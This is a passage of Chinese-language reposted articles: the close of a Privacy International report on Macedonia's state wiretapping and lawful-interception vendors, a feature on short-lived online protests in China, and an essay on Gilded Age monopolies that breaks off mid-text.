但是，非政府组织 Metamorphosis 的项目主管 Filip Stojanovski 当时曾对该修正案提出异议，他现在认为该丑闻表明，根本没有遵循法院的裁决。

直接访问

「图」

向政府机构提供不受限制的直接访问电信网络的特权，是电信行业内的一个主要但模糊的问题，这也是它们必须面对的问题。

在马其顿，电信行业被以 T-Mobile 品牌运营的全球公司所主导。

前国有的 Makedonski Telekom 负责提供固定电话服务。他们的股份由匈牙利运营商 Magyar Telecom 拥有51％，后者本身是德国电信的子公司，后者是全球领先的电信公司之一，也是 T-Mobile 品牌背后的实体。

经过数年的努力，2015年7月1日，Makedonski Telekom 与子公司 T-Mobile Macedonia 合并，后者是马其顿领先的移动运营商。*Skopje city centre, 2015. Privacy International*

关于运营商向国家机构提供直接访问权限的普遍性究竟有多少，鲜为人知。

虽然欧洲有一些由“欧洲电信标准协会”（ETSI）编纂的“合法拦截”技术标准，而其他标准，例如俄罗斯的“ SORM”，则适用于不同的规范。

在俄罗斯和许多以前的社会主义国家/地区，其电信和侦听体系结构都基于SORM，该系统更具侵入性，因为电信公司几乎没有任何有意义的机会来控制国家机构的拦截活动、和/或调解国家机构使用其网络对个人数据的访问权限。

全球最大的运营商之一沃达丰（**Vodafone**）曾透露一些政府也可以

直接访问其网络，而不受沃达丰（**Vodafone**）的监督。

在一些国家/地区，沃达丰（*Vodafone*）可以对用于接受代理机构或授权机构要求的“合法监听”的技术基础设施保持完全的运营控制。但是，在其他国家/地区，法律规定特定的机构和当局可以直接访问运营商的网络，而绕过运营商对合法拦截的任何形式的控制……

通常，运营商在由交换机、路由器以及爱立信、思科、华为或诺基亚等大型设备供应商提供的其他节点组成的基础架构上运行网络，该设施通常设计为符合合法的拦截标准。

例如，用于确保电信网络正常运行的集成交换机本身通常用于将拦截的数据或内容转发到监视设备。

一些公司提供了专门为合法拦截而设计的服务和系统，例如监视中心（执法机构在其中接收被拦截的材料），以及专门为合法拦截而设计的保留和调解套件。

其他公司设计并销售探针，这些探针可以被动地收集拦截并将其转发给代理人，而无需使用网络节点，而其他公司则提供了用于随意收集大规模的被动数据的系统。

尽管根据欧盟的调查已确定马其顿的情报机构UBK可以直接进入，但尚未确定如何在技术上进行、以及哪些公司提供了必要的设备。

谁在提供监视技术？

「图」

特别检察官的工作是查明如何从技术上进行拦截、使用的是哪种技术、以及由谁提供的拦截技术。

在进行的第一批调查中显示，进行窃听所需的监视设备是由一家以色列公司提供的。

去年4月，反对派释放出一份内部录音，音频表明，UBK负责人要求以色列国防部代表支付500,000欧元以进行购买，总价约为1400万欧元。

马其顿内政部公开宣称，这笔钱仅仅是“我们在以色列政府中的合作伙伴提供的捐款”。也就是说他们承认存在这笔钱而且数额是对的。

这份录音仍可以在网上找到，其中一些是英文的。

斯洛文尼亚一家鲜为人知的电信和监视设备制造商一直在马其顿从事各种合法拦截项目。

马其顿的 Iskratel 实施了允许合法拦截 Makedonski Telekom 固网网络的项目，根据隐私国际组织的记录，该软件可用于可视化SORM3协议上的拦截数据。

Iskratel 总部位于斯洛文尼亚 Kranj，为世界各地的客户开发和销售IP和固定线路合法侦听（LI）系统。

Iskratel 曾在**2014**年和**2015**年出席了国际上最臭名昭著的电子通讯监视技术非公开会议 **ISS World**，并在会议上介绍了其合法拦截解决方案。

他们还邀请 ISS World 的代表参观他们的展台，称其“正在加强针对电信运营商和代理商的合法拦截领域的解决方案组合。

下面是他们的宣传册内容：

For lawful interception, Iskratel built a universal, highly flexible traffic-monitoring solution. The solution supports ETSI LI, SORM2 and SORM3 recommendations, and can be used in various IP-based networks—either fixed or mobile, either wired or wireless. The solution is based on the big-data concept—a concept that includes tools, processes and methods that a LEA needs to handle the new traffic types, large amounts of data and storage facilities.

SORM 标准的权威机构 Andrei Soldatov 表示，SORM2 是适用于所有IP流量的基于俄罗斯的拦截标准，而 SORM3 “负责收集所有通信、通信的长期存储、以及对所有用户数据的访问”。

Iskratel 在其马其顿网站上将自己描述为 “过去60年马其顿共和国电信设备的主要提供商，并且是设计、实施和维护 ICT 解决方案的领先系统集成商。”*Iskratel offices, Skopje, 2015. Privacy International*

Seminar on the mandate of the Special Prosecutor, Skopje, 2015. Privacy International

如何解决这个问题

「图」

人权法专家、活动家和博客作者 Zarko Trajanovski 在研讨会上说："没有任何法律机制可以解决这一问题 **……**我们已经超越了菲德尔·卡斯特罗（**Fidel Castro**）时代的表现。"

当然，没有唯一的解决方案可以确保在马其顿或其他任何地方不会再发生这种惊人的窃听丑闻。

然而，Zarko 指出，任何解决方案都必须具有整体性，要求改革马其顿的所有当局和机构，并要求社会上所有团体采取有组织的行动。

正如欧盟委员会高级专家小组的审查所表明的那样，问题并不在于管理马其顿的法律制度不完善，而是，"立法与实践之间存在相当大的差距"，尤其是"缺乏适当的管理、缺乏客观公正的实施。"

Zarko 还同意，包括德国电信（**Deutsche Telekom**）在内的诸多外国公司在监视丑闻中所起的作用。

大型跨国网络运营商必须采取强有力的一致行动，以确保它们不参与大规模的滥用行为。

透明度报告是一个好的开始，但是必须优先考虑采取积极的行动，例如法律挑战和整个行业的举措。

此外，必须更好地规范通常位于网络基础架构本身之上的合法拦截相关技术和其他监视技术的交易。

如果一个国家的法律框架不充分，或者客户的记录表明其当权者参与了侵犯人权的行为，则不应为他们提供监视系统，因为有滥用和违反国际人权法的风险。

正如马其顿正在进行的窃听事件所显示的那样，监视所产生的如此大规模的影响可能是毁灭性的。

执政党借助现代电信监视技术所获得的情报，能够对马其顿的每个部门和机构，包括媒体、公民社会、司法机构、和公务员，进行大量的政治控制。

为确保在马其顿或其他地方不再发生这种情况，需要采取一种全面的、综合的方法，这要依靠确保存在符合国际人权标准的适当法律框架，各国在具有透明度机构和负责任的安全部门的情况下应该具有良

好的治理水平，相关行业需要扮演积极的角色，个人可以访问安全的网络和设备，并且知道如何保护自己。

禁止出口监视系统并提高行业透明度的保障措施也可以而且必须成为此解决方案的一部分。

但是，在马其顿，需要更多实现的补救和改变 —— 需要来自本土的努力。现在，这是特别检察官、新闻记者、民间社会、政客及其公民的重要工作。〇

原文

在中国，转瞬即逝的"网络抗议"留下了脆弱的记忆 - iyouport

社会运动和公民社会

"我们的愤怒像巨浪一样上升。然后，它就消失在大海中了。"

在中国，街头抗议的难度很大，于是人们在互联网上发泄不满。在线的异议言论是否能够被称为反抗，这个问题曾经引起过很多讨论。

在线 “抗议” 的确有一些作用，但也的确没有根本性作用；但最有趣的是，在严苛的审查面前，为了能够让在线异议内容存活下来，人们就必须发挥战术智慧，调用创造力。这个过程将有可能促成一种特殊的凝聚力，虽然，它是否能被复制到街头，尚无法确定。

躺在上海的床上，帕洛玛（化名）通过在主流信息应用微信上分享了一段视频，就加入了对她所在城市严格的 Covid-19 封锁的 “在线抗议活动”。当时这段视频已经有数百万人观看，记录了这个2500万人口的城市在几乎完全封锁的情况下发出的心碎的声音：一个儿子为他病危的父亲寻求救治的请求，居民们要求提供食物的呼喊，以及与父母分离的婴儿的哭声。

当疯狂的中国审查人员努力删除这段名为 “四月之声” 的六分钟视频时，人们创造了各种新的变化，以保持它在微信视频号上的传播（那是一种类似 TikTok 的短视频服务）。其中一个版本，视频剪辑被嵌入到一张中国民法典的图片上；另一个版本则是将其与流行巨星周杰伦的歌曲相结合。它被删得越多，帕洛玛就越愤怒、转发越坚决。

在与审查人员进行了长达数小时的猫鼠游戏的疯狂斗争中，分享了十几个不同版本的视频后，帕洛玛太累了，无法再继续。当她第二天早上醒来时，所有版本的视频都被封杀了—— 而上海的严厉封锁仍在继续。前一天晚上的兴奋变成了绝望。这位29岁的女士告诉记者说：“我们的愤怒像巨浪一样涌起，但随后它就消失在海洋中了”。

在中国，线下抗议活动很少，警察不支持集会，政府也密切监视着整

个社会。作为一种选择，公民加入虚拟的在线抗议活动，以暗示的方式发言，以保持他们的异议。就如最近，在看似亲政府的社交媒体标签上充斥着隐晦的批评，甚至不惜发明新语言。但与此同时，政府也越来越擅长网络审查和宣传，将网络抗议的影响限制在短暂的愤怒爆发上，这些愤怒在凝聚成运动之前就被抹去了。研究人员和网络抗议者在接受采访时说，这些转瞬即逝的“行动” 对国家日益收紧的控制力的影响已经变得比以往更小。

新南威尔士大学政治学教授、最近一项关于中国网上批评的研究的合著者吴逢时说：“这总比没有好，但不要指望有很多重大的政治影响。所有这些影响都是零散的、局部的、短暂的。它没有挑战任何机构或任何政治合法性。”

在这次上海封锁期间，数字抗议活动集中在个人痛苦、食物短缺和审查制度上，但很少有声音明确挑战有争议的 “清零” 政策，而习已承诺坚持这一政策。尽管数以百万计的人浏览和分享了 “四月之声” 视频，反映了对封锁的广泛不满，但目前还不清楚参加这次网络抗议的人们具体要求什么。

网络抗议仍在爆发：成千上万的网民在微博上分享同样的批评帖子；活动人士创作艺术品和 meme。但这些行动的影响正在减少。上述研究指出，中国互联网上的怨恨已经变得更加微妙，并且越来越多地包含在志同道合者的小圈子内。由于自我审查已成为一种生存本能，网上的批评更多的是针对地方问题，而不是更广泛的政府政策—— 敢于质疑政府的人往往被攻击为“反华势力”。

数字抗争最振奋人心的时刻之一发生在Covid-19大流行病的早期。2020年2月，因警告他人有关冠状病毒而受到惩罚的举报人李文亮医生的死亡，引发了哀悼和要求言论自由的热潮。李文亮死前接受采访时的一句话开始在微博上流行：“一个健康的社会不应该只有一种声音”。在另一名武汉医生艾芬的证词被审查后，互联网用户发布了外语翻译、表情符号，甚至是摩尔斯电码。国际观察家称中国公民的悲愤之情是中国的 “切尔诺贝利时刻”。

然而，这种悲痛在几个月后就从公共舞台上消失了。中国在富裕的西方国家面前 “成功遏制了Covid-19”，这也助长了民族主义的兴起。在互联网上，习政府多年来一直在巩固控制权，宣传机构煽动反西方情绪，鼓励年轻的民族主义者告发批评该政权的人。像流行歌星和企业家这样的网络名人都小心翼翼地与所谓的敏感问题保持着距离。

一种无望感使以前敢于发言的数字活动家沉默了。来自中国大陆、目

前居住在香港的 Lily，在李文亮的死让她泪流满面之后，在她的微信朋友圈上发布了几条帖子。两年后，她就不再发声了。由于担心政治报复，Lily要求使用假名，她说她担心她的微信联系人，包括家人，可能会向警方举报她的异议立场。在香港，Lily 和成千上万的人一起参加街头示威，在那里她可以大声呼喊口号，看到有多少陌生人站在自己身边。但在网上，她发现自己的声音被困在了一个回音室里。“这些帖子很快就消失了”，她说，“即使它们没有被审查，它们也只是在屏幕上出现了几秒钟，然后人们就会滚动过去”。

用户可能会因为分享被认为是 “颠覆性” 的内容而被封锁社交媒体账户数周或数月—— 也就是所谓的被关进网络监狱。“我已经从网络监狱出来了”，一位微博用户在4月30日发帖说，“在被封锁期间，我什么都不能说，现在我也没有什么想说的了。”

虽然网上的愤怒考验着中国的审查机制，但成本大多由社交媒体公司承担，它们被迫雇用审查员大军来遵守政府不断收紧的审查规则。中国政府仍然对微博和豆瓣等平台处以数百万的罚款，只因为政府认为不满意的帖子被审查员漏掉了。前微博审查员 Eric Liu 表示，网上愤怒的突然爆发对平台来说代价非常大。刘说：“压力是巨大的，如果你没有足够的人手把它们全删掉，公司会在监管机构面前非常糟糕。”

随着平台也在扩大其功能，并因此吸引更多的用户，政治风险也随之增加。当腾讯推出微信视频号，与短视频平台抖音竞争时，该公司让开设频道账户比视频号更简单。这使得用户更容易快速建立新账户，继续分享《四月之声》。宾夕法尼亚大学数字文化与社会中心主任杨国斌说：“社交媒体的业务都是关于流量的，就中国的社交媒体平台而言，诀窍在于如何激励用户发声，同时不给平台带来政治或商业风险。这需要一种高技能的平衡，因为风险很高。”

香港浸会大学传播学教授 Rose Luqiu 说，在中国，数字行动主义的力量受到审查制度的限制，人们害怕报复，以及该国缺乏独立媒体和非政府组织。她说：“虽然社交媒体是一个分散的平台和信息流动的中心，但它缺乏权威和对国家的影响。”

虽然对国家政策的批评不多，但网络抗议者有可能在当地推动改革。在上海同济大学，一名学生在与学校管理层举行的在线会议上，通过在屏幕上发布脏话来抗议封锁期糟糕的食物，其他学生则通过创作类似的蓝红色艺术作品来表示声援（一些作品被上传到NFT市场 OpenSea）。

对其他人来说，即使是创造一个脆弱的、暂时的记忆，其本身也是有意义的。香港中文大学传播学教授方克诚说，在李和其他举报人的证词之后，网上涌现的悲痛让人们表达了他们的愤怒，即使这些愤怒最终都被抹去了。“改变其他人的想法是非常困难的。是的，许多人是为了自己，但当他们一起做事的时候，这是一种集体行动，表达了共同的情感”。方说。

两年多后，医生李文亮的微博页面仍然活跃，人们经常留下评论。“仍然有很多人记得你”，一个人在五月初写道。

方说，在中国这样一个专制国家，仅仅表达挫折和愤怒就能产生使人们团结起来的影响。“当我们谈论‘影响’时，我们应该包括除改变政策或政权之外的更微妙的东西。如果有些人能够记住……那么它已经有了巨大的影响，因为它清楚地显示了对官方宣传的另一种叙述。”

从这些短暂的抗议活动中留下的记忆，在某种程度上可以挑战官方的叙述。在“四月之声”抗议之后的几周里，上海的封锁一直在加剧，网上的视频显示，穿着防护服的官员在人们的公寓里喷洒消毒剂，并强迫居民前往隔离设施。

5月，帕洛玛设法前往另一个中国城市，在那里她又被隔离了两个星期后才获得自由。在她的社交媒体上，她仍然在分享来自上海的令人不安的消息。人们看到居民们被穿着防护服的官员从家中拖走。找不到交通工具的旅行者步行数小时到机场。老年人和残疾病人在临时隔离营中得不到适当的照顾。“我相信大多数人都会记得，但保持愤怒是很难的”，她说，“如果每个人都能保持愤怒，我们就不会看到同样的错误一次又一次地出现。”〇

In China, fleeting “cyber protests” leave behind fragile memories

原文

垄断与民主：如何结束镀金时代 - iyouport

社会运动和公民社会

【2021年4月22日存档】外交政策杂志很难得有一篇稍微不错的文章

【按】上个月我们上传了一套合订本，您可以在这里下载：《经济学引领反抗战略》。并且可以与这篇文章做对比。

当然，外交政策这篇文章没有上述合订本更深刻，前者更多是为了论述拜登时代一个重要的议题。之所以认为这篇文章相对较好，是因为它至少没有去期待拜登政府，因为那是虚妄的。尤其是，它指出了历史上反托拉斯运动失败的原因，以提醒当下的反抗者避免同一种错误。

为什么这个问题是重要的？见《选票无法帮你改变糟糕的现状，真正改变应该来自哪里？：权力的杠杆》；为什么对中国读者来说也是重要的？见《新自由主义的香港向世界讲述了一个什么样的故事？》。

美国所谓的“镀金时代”始于1877年的妥协协议，该协议解决了1876年有争议的总统选举，将白宫授予共和党候选人卢瑟福德·海斯，以换取联邦军队从南方三州撤出。在短期内，这个妥协有效地结束了重建；而从长远来看，它增强了南方白人恐怖主义者的能力，并导致美国政治的重大调整，削弱了联邦政府治理“货币权力”的能力，当时的评论家用这个词来形容稳占市场和政治制度的力量。

【注：美国重建时期在美国历史上指1865年 - 1877年，当南方邦联与奴隶制一并被摧毁时，试图解决南北战争遗留问题的时期。“重建”提出了南方分离各州如何重返联邦、南方邦联领导人的公民地位、以及黑人自由民的法律地位等课题的解决方式。这些问题应如何处理引起了暴烈的争论。】

到1900年，1%的精英阶层拥有全美一半以上的土地；近50%的人口只拥有1%的土地。占人口比重0.33%的百万富翁拥有全国17%的财富；40%的美国人根本没有财富。

在南方，黑人男子被暴力和系统性地剥夺了来之不易的选举权，在那里，当局设置了一切可能的障碍 —— 识字测试、投票税、选区划分、祖父条款，以阻止黑人政治权利的恢复和黑人经济力量的增长。四分之一个世纪后，人们已经不可能将这些结果看作是一种异常现象：垄断和压制已经成为美国制度的定义。

威廉·麦金利作为共和党籍总统，他的1896年和1900年的竞选活动都是由他的首席战略家 “Dollar Mark” Hanna 收集的大量企业捐款推动的。单是标准石油公司的约翰·D·洛克菲勒就为麦金利的第一次竞选提供了直接捐款，以今天的美元计算，这笔捐款超过了700万美元。由此产生的战利品让麦金利的资金超过了他的民粹主义民主党对手威廉·詹宁斯·布莱恩20倍。

洛克菲勒是少数几个控制垄断企业的人之一，这些垄断企业几乎支配了新兴工业化经济的每一个部门。科尼利厄斯·范德比尔特、杰伊·古尔德、和 J·P·摩根等人通过在不同的市场上获得立足点，然后摧毁或买断他们的竞争对手，从而建立起庞大的权力。

这些大亨为自己的统治地位辩护，声称他们只是代表了新的、更有效的系统和技术。他们可以获得大量的资本，对华尔街的债权人长期束缚。

【注：

- 科尼利厄斯·范德比尔特、柯内流士·凡德堡，外号 “海军准将”，是一位依靠航运和铁路致富的资本家，是范德比尔特家族的创始人，也是历史上最富裕的美国人之一；
- 杰伊·古尔德，绰号海盗大亨，19世纪美国铁路和电报系统无可争议的巨头，“镀金时代” 股票市场的操纵者。在1869年对黄金市场的狙击导致了被称为 “黑色星期五” 的大恐慌；
- 约翰·皮尔庞特·摩根，金融家及银行家，生前垄断了世界的公司金融及工业并购。 1892年，他安排将爱迪生通用电力公司与汤姆逊-休斯敦电力公司合并成为通用电气公司。在出资成立了联邦钢铁公司后，他又陆续合并了卡内基钢铁公司及几家钢铁公司，并在1901年组成美国钢铁公司。 】

在各级政府和全国各地，这些 “强盗大亨” 利用其巨大的财富阻止或逃避法规，颠覆民主进程。他们最令人难忘的发明是信托，一个法律实体，允许他们掌握多家公司的权力。为了创建信托，他们必须绕过某些州的法律，于是他们在美国各州之间相互博弈，推动了一场竞争，各州急于通过改变规则来吸引他们的资本，以允许越来越多的公

司集中权力。

但在整个镀金时代，美国社会开始发生变化，最终将开始挑战强盗大亨和他们控制的政治阶层。

【注："强盗大亨" 也是一本书的名字《美国金融史(第一卷):从克里斯托弗·哥伦布到强盗大亨》By Jerry W.Markham】

国家的劳动人口和人口结构正在发生巨大的变化。 1880年，美国妇女的工作人数不到300万；到1910年，这个数字增加了三倍，妇女的劳工运动组织了很多工业罢工，并成功地推动了重大改革。

19世纪80年代，随着农业的衰退和工业化步伐的加快，多达40%的农村城镇人口下降。与此同时，城市迅速发展。移民大量涌入，1880年至1914年间，移民人数达到2000万，最初大部分来自北欧国家，后来主要来自南欧。新移民建立了政治俱乐部、机构和机器，重塑了选区。

当强盗大亨们装饰他们的宫殿，思考他们的公共责任时，贫民窟和租界却充满了疾病，农民在沉重的债务下挣扎，工厂工人和矿工冒着死亡和被肢解的危险来谋生。

与此同时，自19世纪70年代以来不断高涨的反对声音越来越大，农民、工厂工人、反托拉斯联盟、工会和地方一级的政客联合起来。三个团体出现了现状的主要反对者：民粹主义者、进步主义者和社会主义者。三者都在不同程度上意识到，镀金时代不平等的根源是市场份额、财富和政治权力的极度集中。美国的社会主义作为一种政治力量没有被发挥出来，但民粹主义和进步运动 —— 它们以重要的方式重叠和合并 —— 成为变革的强大载体。

与今天的相似之处是显而易见的，将当前时代描述为一个新的镀金时代已经成为司空见惯的事。正如记者巴里·林恩（Barry Lynn）在他的《来自所有主人的自由》（Liberty From All Masters）一书中所指出的，当年的强盗大亨与今天的高科技垄断者有着共同的战术，那就是鼓励人们将巨大的不平等视为资本主义和技术变革所带来的悲惨 "但不可避免" 的后果。

- 不要错过《技术巨头不是烟草巨头，至少不仅仅是》

但正如林恩所展示的那样，当时和现在的主要区别之一是，与今天相比，在镀金时代接受这种合理化解释的美国人较少。而今天，美国人

倾向于将财富和权力的畸形积累视为“正常”。当年，有一大批美国人拒绝这样认为，他们为建立一个公平和民主的社会进行了长达几十年的斗争。另一方面，今天的反垄断运动是有意的跨种族运动，从而避免了镀金时代晚期民粹主义者和进步人士的大规模失败 —— 他们抛弃了美国黑人，尽管他们在促进这两个运动中发挥了关键作用。

随着时间的推移，超级富豪阶层和许多报酬丰厚、随时可以为其服务的专业人员逐渐削弱了民粹主义和进步运动所取得的进展。📌 今天的民粹主义者和进步人士最好记住这些有限的胜利中最重要的教训：反对不平等的斗争主要是反对以多种形式出现的垄断权力，由于垄断权力从来都不是不分种族的，因此，除非以包容的方式进行斗争，否则这场斗争不可能真正成功。

人民力量

「图」

在挑战镀金时代现状的三股主要力量中，民粹主义者首先出现，始于19世纪70年代。他们的运动集中在南方和中西部，但并不是单一的：有黑人和白人的民粹主义者，有城市和农村的民粹主义者，还有来自不同信仰传统的民粹主义者。所有人都有一套共同的核心目标：放松货币政策，加强州际产业监管，打破托拉斯，允许直接选举美国参议员，建立国民收入所得税。

民粹主义者与激进共和党派的最后残余力量（重建时期权利扩张的推动者）结成联盟，成功推动了几项立法。首先是一项全国性的竞选资金改革法，即1883年的《彭德尔顿法》，该法取缔了多种形式的政治赞助。接着是1887年的《州际商业法》，这是第一部规范铁路行业垄断行为的联邦法律，禁止铁路公司对其服务的不同用户的区别对待。1890年的《谢尔曼法》是第一部联邦反垄断法，不过很快就被最高法院抽空了。1894年，国会设立了第一个和平时期的联邦所得税——但它的命运更为严酷，因为它被最高法院完全否决了。

在经历了惨重的选举失败和内讧之后，民粹主义运动在20世纪初逐渐衰落，但其反托拉斯议程的核心内容被进步运动的领导人和组织者所吸收。

与民粹主义者相比，早期的进步主义者在社会经济和地理上的多样性较少；大多数人往往来自上层城市新教背景。他们试图通过提高政府的效率、任人唯贤和透明度来打击镀金时代的过度行为。他们希望通过清洁、纯洁、道德正直和慈善来重塑美国社会，恢复美国灵魂。他

们抨击贫民窟、党派老大和酗酒，主张迅速同化移民，扩大公共教育。

【注：进步主义 (Progressivism) 是在19世纪末至今从北美开始的政治运动和意识形态。进步主义者们支持劳动人权和社会正义的持续进步，他们也是福利国家和反托拉斯法最早的拥护者之一。】

【注：新教 (Protestantism) 又称基督新教，是基督教中不属于天主教体系的宗派之统称，汉语 “新教” 一词是主要对应和区别于宗教改革之前的 “旧教”。新教的辞源为拉丁文 “protestatio” 意为“抗议”，源于1529年神圣罗马帝国宣布马丁·路德为异端之后所引起的强烈抗议。】

民粹主义和进步主义的合并从来都不是完全的，由于挥之不去的紧张关系，出现了两种截然不同的进步主义派别。

民粹主义进步主义者对集中的、不受管制的私人权力深感不信任，认为它与民主不相容；精英进步主义者更可能只担心那些明显涉及价格垄断或腐败丑闻的寡头企业，而不担心那些通过完全合法的手段扭曲市场或政治制度的大企业。沿着这些思路，西奥多·罗斯福，一位主要的精英进步主义者，区分了 “好的信托” 和 “坏的信托”。

- 不要错过《法西斯主义如何与资本主义融合以重新定义政府》

规模小得多的美国社会主义运动曾是十九世纪民粹主义运动的一部分，然后在二十世纪头十年作为一个独特的政党出现。社会主义者审视了财富和权力的集中，并得出结论，唯一的出路是国家对大多数主要产业的所有权。

社会党有一个小而坚定的基础。尤金·德布斯，一个劳工组织者，因在1894年大规模的普尔曼罢工中的作用而被定罪后，在监狱中成为了一名社会主义者， 在1900年到1920年之间，他五次竞选总统，并在1912年赢得了6%的选票。但该党始终没有起色，部分原因是主要工会不接受该党，并且美国选举制度的结构故意限制了第三党的影响力。

【注：尤金·V·德布斯，美国工会领袖，国际工人联合会与世界产业工人的创建者之一。曾于1900年代表社会民主党竞选美国总统，之后又分别于1904年、1908年、1912年与1920年四次代表美国社会党竞选总统。由于他在工人运动以及竞选活动中的表现，被认为是美国最知名的社会主义者之一。】

【注：普尔曼大罢工，美国在1894年5月11日的全国性铁路罢工行动，从而影响美国劳动法。其中美国铁路工会不满经营铁路运输的普尔曼公司对立，而美国总统格罗弗·克里夫兰领导的美国联邦政府也介入其中。冲突起源于5月11日，近4,000名普尔曼公司雇员因为工资调降，而在芝加哥普尔曼发动野猫罢工（就是没有经过工会同意的罢工）。】Eugene Debs

不完整的胜利

「图」

从重建结束到1917年美国加入第一次世界大战期间，民粹主义、进步主义和社会主义在各级政府中不断对话。它们也经常与其他学派发生冲突，如社团主义，后者颂扬大公司规模不断扩大“是进步和效率的标志”，并认为虽然可能需要进行小的调整，但政府配套产业是增长的关键。

这个时代最清晰的政治时刻出现在1912年的总统选举中，当时企业垄断化被明确列入表决。社会党候选人 Debs 提议将工业巨头国有化；共和党候选人威廉·塔夫脱为现状辩护，承诺起诉严重滥用的信托公司，但放弃了任何根本性的改变。

罗斯福曾在1901年至1909年作为共和党人担任总统，这次未能获得党内提名，而是作为进步党的候选人参选，他主张政府和企业之间自上而下的联盟，他称之为“新民族主义”。罗斯福是以反托拉斯官员的身份出名的。但到了1912年 —— 尽管他的党派的名字（进步党）—— 他已经成为一个全面的社团主义者。

民主党候选人，新泽西州州长伍德罗·威尔逊，在他称为“新自由”的议程中，采用了更接近民粹主义的方法，其重点是有系统地分散私人权力和更广泛地管制工业。

威尔逊以435张选举团票果断获胜。他迅速采取行动，实践他的反垄断设想。他采取的最有影响的步骤之一是将1914年的《克莱顿法案》签署为法律，该法案加强了反垄断法规。正如 Lynn 在书中所述，威尔逊把他用来签署该法案的那支笔寄给了美国最重要的工会 —— 美国劳工联合会的负责人塞缪尔·龚帕斯。两人都明白，劳工政策和反托拉斯政策是一个硬币的两面：支持劳工的法律使工人更容易成立工会，而反托拉斯法则使资本家更难以相互勾结虐待工人。龚帕斯称克莱顿法为“劳工的大宪章”。

【注：龚帕斯 (Samuel Gompers) 美国工会领袖，美国劳工历史重要人物。1886年创办美国劳工联盟，1886 - 1894、1895 - 1924年担任会长。 龚帕斯主张工会要受重视，并可以讨价还价，使工人在工作空间、短工时、高薪酬等方面受保障；反对政府干预。】威尔逊和塔夫脱（Wilson and Taft），1913年在华盛顿特区国会图书馆/路透社

然而，这一胜利是不完整的。虽然威尔逊的反垄断议程使所有种族的工人都能受益，但他的总统任期没能推动种族正义的事业。

在1912年的选举中，黑人知识分子中的佼佼者W.E.B.杜波依斯打破了黑人与共和党结盟的传统，支持威尔逊。杜波依斯的《黑人重建》一书是反垄断的经典之作，他之所以选择威尔逊，一方面是因为威尔逊承诺与托拉斯对抗，另一方面是因为罗斯福公开的种族主义。(威尔逊本人根深蒂固的种族偏见稍微不那么公开。)

但当威尔逊在赢得大选后，将黑人领袖拒之于关键岗位之外，并拥护种族隔离制度时，杜波依斯感到非常失望。

【注：W·E·B·杜波依斯，美国社会学家、历史学家、民权运动者、泛非主义者、作家和编辑。杜波依斯出生于马萨诸塞州大巴灵顿，在一个相对包容、多元的环境中长大。他是哈佛大学第一个取得博士学位的非裔美国人，毕业之后任职于亚特兰大大学，教授历史学、社会学和经济学。他于1935年发表的巨著《美国的黑人重建》（*Black Reconstruction in America*）挑战了“黑人应该对重建时代的失败负责”的传统思想。在社会学领域，他写就了第一本系统性研究著作。】

威尔逊根本不是特例：在那些年里，白人民粹主义者、进步人士和劳工领袖都广泛地抛弃了黑人公民。

在镀金时代的头20年，跨种族组织似乎有可能取得成功，黑人农耕民粹主义者在南方代表了一种独立的政治力量，他们与白人同行合作。早期的美国劳工联合会欢迎黑人和白人工人。共和党曾经接受过黑人选民。威尔逊也曾承诺为他们提供一个家，有那么一瞬间，1912年的民主党似乎可以作为一个“家”…… 但这一切都化为乌有了：当面对建立多种族联盟的挑战时，民粹主义者和进步人士从这项任务中退缩，先是无助，然后拥抱种族主义，最后是种族隔离 —— 最后宁愿保持南方白人民主党人的支持，这也是多年后限制新政影响力的动态的前奏。

公共事业

「图」

与二十世纪初的前辈一样，今天的美国人经历了几十年来日益严重的不平等和财富与权力的日益集中。仅在过去的十年里，全球就有近50万家企业合并。10%的美国人现在控制了全国97%的资本收入。

自2008年全球金融危机以来产生的新收入中，有近一半流向了最富有的1%精英阶层。最富有的三个美国人的财富总和超过了最贫穷的1.6亿美国人的总合。

在大多数行业，少数几家公司控制着整个领域，支配着条款，挤压着竞争对手，并利用差异化定价来榨取现金和权力。三家公司控制着数字广告，四家公司主导着牛肉包装，越来越少的公司拥有全国的医院。为了扭转这种垄断潮流，今天的民粹主义者和进步人士应该把注意力集中在推动他们的前辈的优先事项上：解散那些已经变得过于庞大的公司（或将它们重新归为公共事业），并通过严格限制竞选捐款，使财富更难购买政治影响力。

在镀金时代，面临滥用信托的农民和工人有一个问题：某些服务如果是全国性的，效果会更好，而且有广泛的用户基础才有价值。城市公交、送水、国家铁路都需要统一，或者至少不能完全分散。但集中的私人权力会侵蚀民主，造成不平等。

民粹主义者和进步人士通过将古老的“公共承运”原则应用于现代工业国家来解决这个问题。公共承运认为，某些行业服务于基本的公共职能，应该从公共利益出发进行管理 —— 即 强制收取合理的和固定的费用，禁止区分和歧视购买者。

镀金时代的组织者要求大的网络化产业必须接受这种管制，否则就会被国有化。对于高度管制的行业和国有行业，他们经常使用“公共事业”这个词。他们将这一框架应用于广泛的商品和服务，这些商品和服务对社会很重要，但不能以分散的方式轻易或有效地提供，如水、电、煤气、电讯和交通。

今天，反垄断活动家也在使用这种方法，追求的是拆分和公共事业监管的融合 —— 例如，他们要求亚马逊对其市场上的所有卖家一视同仁，还坚持要求亚马逊的市场与仓库分离，其仓库之间也要相互分离，这样他们的工人才有机会成立工会。

在镀金时代，民粹主义者、进步主义者、社会主义者，甚至一些社团主义者，都在呼吁竞选财务改革 —— 他们取得了很大的进展。1907

年，《蒂尔曼法案》禁止企业向选举活动捐款。三年后，国会通过了《联邦反腐法》，首次要求联邦级候选人披露其资金来源。此后，又对捐款进行了进一步限制。这些措施的影响是立竿见影的，而且是长期的：按人均计算，对联邦公职候选人的竞选捐款大幅下降。

事实上，只有在最近数十年，企业的竞选开支才达到了“镀金时代”的水平。这些关于竞选资金的步骤体现了民粹主义与进步主义的关系：南方和西方的民粹主义者支持这些步骤，因为他们厌恶大公司的霸权；城市进步主义者支持这些步骤，因为他们反对罪恶、浪费和腐败的行为；由于这种自下而上的支持，当选官员别无选择，只能接受这些步骤。

前进之路

「图」

今天的反垄断议程将需要一个新的民粹主义-进步运动。这一前景似乎不像几年前那样遥不可及。今天，小企业主和仓库工人正在联合新的草根团体，向当今的垄断企业发起挑战，并将非白人的困境放在首位和中心位置。

其中一个组织是“雅典娜”，这是一个多元化的多种族联盟，其非白人领导人认为，亚马逊对黑人工人的虐待特别严重，对少数族裔拥有的企业的破坏性影响也特别大。与此同时，来自佛蒙特州的民主党独立参议员伯尼-桑德斯（Bernie Sanders）和马萨诸塞州的民主党参议员伊丽莎白-沃伦（Elizabeth Warren）等全国性政治人物经常抨击垄断者的权力滥用，其他许多民主党国会议员和州检察长也是如此。

